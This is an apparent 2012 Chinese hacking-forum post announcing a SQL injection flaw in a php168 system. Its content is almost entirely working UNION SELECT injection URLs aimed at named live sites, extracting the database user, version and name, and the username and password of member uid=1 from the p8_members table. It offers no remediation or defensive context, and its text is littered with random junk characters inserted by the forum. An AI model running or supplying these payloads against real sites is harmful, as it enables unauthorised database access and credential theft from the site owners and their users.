中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--* c$ q9 U) J$ ~; R4 _9 `

7 r( k! C0 ?6 t" H& v, ^4 [% r8 ?                                     [attach]94[/attach]1 b! P& N% x5 E8 x
0 z7 E* `. ?  K5 U$ G
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
* n& p, Y+ C! c  b
7 B4 D( Q; h; Q4 H% ~" a                                                                . \3 Q; \7 G9 |( p' p9 b7 d
                                                      [attach]95[/attach]
, h4 C6 u+ K  S6 u+ U6 }4 xhttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
$ b* W" L5 g. p' K; O
- W: r2 Q% J4 ]; ~% {
5 o) d; i$ ^0 j
  F4 y3 U0 Q8 i' ?8 B' E                                                          [attach]96[/attach]/ B+ e, q1 k/ ]' |

/ ~3 c* Y% W; x# }+ D2 v- Ihttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--$ [( g, C4 u; h5 z/ F" c/ W

# f  T" i* L: h, T$ k, o; F) H* f9 F5 Y# U1 K

                                                                  [attach]97[/attach]
% g6 g! k& v1 M, o+ T: a. x

欢迎光临中国网络渗透测试联盟 (https://cobjon.com/)